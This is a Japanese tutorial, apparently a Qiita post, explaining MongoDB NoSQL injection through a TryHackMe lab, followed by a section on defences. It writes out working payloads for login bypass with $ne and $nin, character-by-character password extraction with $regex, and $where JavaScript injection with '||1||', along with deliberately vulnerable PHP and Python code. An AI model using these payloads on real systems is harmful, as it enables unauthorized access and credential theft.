1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】NoSQL Injection 入門(MongoDB)

Posted at

はじめに

〜MongoDB を例に、オペレーターインジェクションと構文インジェクションを理解する〜

SQL Injection はよく聞くけれど、NoSQL Injection と言われると「なんか新種っぽくて怖い」感じがしますよね。
しかし本質はシンプルで、**「信頼できない入力がクエリそのものを壊してしまう」**という点で、SQL も NoSQL も同じです。


1. NoSQL Injection の基本アイデア

まず前提として:

インジェクションは全部「コマンド+文字列連結の事故」が原因

SQL Injection の典型例は、こんな感じでした:

SELECT * FROM users WHERE username = '$user' AND password = '$pass';

ここで $user
admin' OR '1'='1
を入れると、クエリ自体が書き換えられてしまいます。

NoSQL(MongoDB)の場合も考え方は同じで、

  • ユーザー入力をそのままクエリに埋め込む
  • 適切にエスケープ・バリデーションしていない

といった状態だと、クエリを操作される可能性があります。

NoSQL Injection には大きく2種類あります:

  1. Syntax Injection(構文インジェクション)
    • SQLi と同じく、クエリの構文自体を壊して・追加してしまうタイプ
    • MongoDB では $where で JS を投げているケースが危険
  2. Operator Injection(オペレーターインジェクション)
    • $ne$regex などのMongoDBオペレーターを注入」してクエリの意味を変える
    • 構文を壊せなくても、条件をねじ曲げて認証バイパス・情報取得が可能

この部屋(TryHackMe)のメインは Operator Injection です。


2. MongoDB のクエリ構造と「配列インジェクション」

正常な PHP コード例

まず、シンプルなログイン処理の PHP コード:

<?php
$con = new MongoDB\Driver\Manager("mongodb://localhost:27017");

if (isset($_POST) && isset($_POST['user']) && isset($_POST['pass'])) {
    $user = $_POST['user'];
    $pass = $_POST['pass'];

    $q = new MongoDB\Driver\Query(['username' => $user, 'password' => $pass]);
    $record = $con->executeQuery('myapp.login', $q);
    $record = iterator_to_array($record);

    if (sizeof($record) > 0) {
        $usr = $record[0];

        session_start();
        $_SESSION['loggedin'] = true;
        $_SESSION['uid'] = $usr->username;

        header('Location: /sekr3tPl4ce.php');
        die();
    }
}
header('Location: /?err=1');
?>

ここで実行している MongoDB のフィルタは:

['username' => $user, 'password' => $pass]

ぱっと見は安全そうですが、問題は $user$pass に “配列” を渡せてしまうことです。


PHP における「配列パラメータ」の落とし穴

PHP では、HTTP パラメータに user[$ne]=xxxx のような形式を送ると、
サーバー側では:

$_POST['user'] = ['$ne' => 'xxxx'];

という 配列として解釈されます

それをそのまま MongoDB のフィルタに渡すと:

['username' => ['$ne' => 'xxxx'], 'password' => ['$ne' => 'yyyy']]

という構造になり、これは MongoDB 的には:

usernamexxxx ではなく、
かつ passwordyyyy ではないユーザーすべて」

を意味します。

結果:全ユーザーがマッチ → 最初の1件でログイン成功
これが Operator Injection による認証バイパス です。


3. Operator Injection:ログインバイパス実践

攻撃リクエスト例

元のリクエスト(平文のログイン):

POST /login.php HTTP/1.1
Host: 10.49.179.23
Content-Type: application/x-www-form-urlencoded

user=foo&pass=bar

これを、以下のように書き換えます:

user[$ne]=xxxx&pass[$ne]=yyyy

これにより、PHP 側では:

$user = ['$ne' => 'xxxx'];
$pass = ['$ne' => 'yyyy'];

となり、MongoDB のフィルタは:

['username' => ['$ne' => 'xxxx'], 'password' => ['$ne' => 'yyyy']]

→ ほぼ全ユーザーがヒットしてしまい、任意のユーザーとしてログインされる可能性があります。

Burp などのプロキシでパラメータを書き換えることで、TryHackMe のログインを突破する、という流れですね。


4. Operator Injection:特定ユーザーを避けたり、狙ったり

さきほどの $ne だと「特定の値以外全部」がマッチします。
今度は $nin を使って 「除外リスト」を指定していきます。

$nin を使ったログイン制御

例:

user[$nin][]=admin&pass[$ne]=aaaa

サーバー側でのフィルタ:

['username' => ['$nin' => ['admin']], 'password' => ['$ne' => 'aaaa']]

admin 以外のユーザーでログイン

さらに複数ユーザーを除外したければ:

user[$nin][]=admin&user[$nin][]=jude&pass[$ne]=aaaa

フィルタ:

['username' => ['$nin' => ['admin', 'jude']], 'password' => ['$ne' => 'aaaa']]

adminjude 以外のユーザーでログイン可能

こうして 「まだログインしていないユーザー」を順番に狙うこともできます。


5. Operator Injection:$regex でパスワードを抜き出す

認証バイパスができたら、次の一手は パスワードそのものの取得 です。
パスワードが他サービスで使い回されている可能性が高いからですね。

ここで使うのが $regex(正規表現)オペレーター

🔹 ステップ1:パスワード長の推測

以下のようなクエリをサーバーに投げるとします:

user=admin&pass[$regex]=^.{7}$

→ 「admin かつ password長さ7文字のもの」を探す

レスポンスが「ログイン失敗」であれば、その長さではないとわかります。
長さを変えながら試していき、成功する長さを発見します。

結果例:^.{5}$ でログイン成功
→ admin のパスワードは 5文字


ステップ2:1文字ずつ総当たり

次は、最初の1文字を推測します。

user=admin&pass[$regex]=^c....$
  • 長さ5文字
  • 先頭は c
  • 残り4文字は何でもOK

もしこれで失敗したら、「先頭文字は c ではない」とわかります。
a〜z, 0〜9 などを総当たりし、成功した文字=正解

例:^a....$ で成功 → 1文字目 = a

次は2文字目:

user=admin&pass[$regex]=^a[a-z0-9]...$

という形で、位置を増やしながら順番に推測していきます。
まさに「ハングマン」のような感覚で、パスワードを1文字ずつ復元していくテクニックです。


6. Syntax Injection:$where による JS インジェクション

Operator Injection だけでなく、MongoDB には Syntax Injection(構文インジェクション) も存在します。

脆弱な Python コード例

SSH でサーバーに接続すると、以下のようなスクリプトが動いているとします:

for x in mycol.find({"$where": "this.username == '" + username + "'"}):
    ...
  • username が文字列連結で $where に埋め込まれている
  • $whereJavaScript コードを文字列として評価する機能

ここで username' を入れると、エラーが発生し構文が壊れていることがわかります。


true / false の条件で挙動を確かめる

例:

admin' && 0 && 'x

→ 条件が false になり、結果が返ってこない

admin' && 1 && 'x

→ 条件が true になり、メールアドレスが返る

という差から、自分の入力が JavaScript 条件式として評価されていることがわかります。


' || 1 || ' で全件取得

最終的な決め技はこれ:

admin'||1||'

結果:

  • this.username == 'admin' || 1 || '...'
  • || 1 || 部分が常に真になる
  • つまり 全ドキュメントがマッチ

→ 全ユーザーのメールアドレスがダンプされる。


なぜ Syntax Injection が発生したのか?

原因はここです:

{"$where": "this.username == '" + username + "'"}

本来であれば:

mycol.find({"username": username})

といった 安全なフィルタで済むのに、
わざわざ $where で JS 条件式を組み立ててしまっているのが問題。

$where + 文字列連結 = インジェクション地獄の入口


7. 防御方法:どうやって NoSQL Injection を防ぐか?

最後に、防御側の観点も整理しておきます。

1. ユーザー入力をそのままクエリに渡さない

  • 配列やオブジェクトをそのまま許可しない
  • 型チェック(string だけ許可など)
  • 不要なパラメータは破棄

2. $where や任意 JS 実行を避ける

  • MongoDB の $where / JavaScript ベースのクエリは原則禁止
  • 標準のフィルタ({"username": username})で表現できるものは必ずそちらを使う

3. ORMs/ライブラリを正しく使う

  • 文字列連結でクエリを手組みしない
  • ライブラリが想定する安全な API だけを使う

4. エラーメッセージを出しすぎない

  • スタックトレースや詳細なエラーメッセージは本番では隠す
  • ただし、開発環境ではログにしっかり残す

まとめ

  • NoSQL Injection も本質は SQL Injection と同じ「入力連結ミス」
  • Operator Injection
    • $ne, $nin, $regex などのオペレーターが悪用される
    • 認証バイパス・パスワード推測などが可能
  • Syntax Injection
    • $where や JS を文字列連結しているとヤバい
    • '||1||' のようなペイロードで全件取得もできる
  • 防御の基本は:
    • 入力バリデーション
    • $where を避ける
    • 文字列連結でクエリを組まない

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?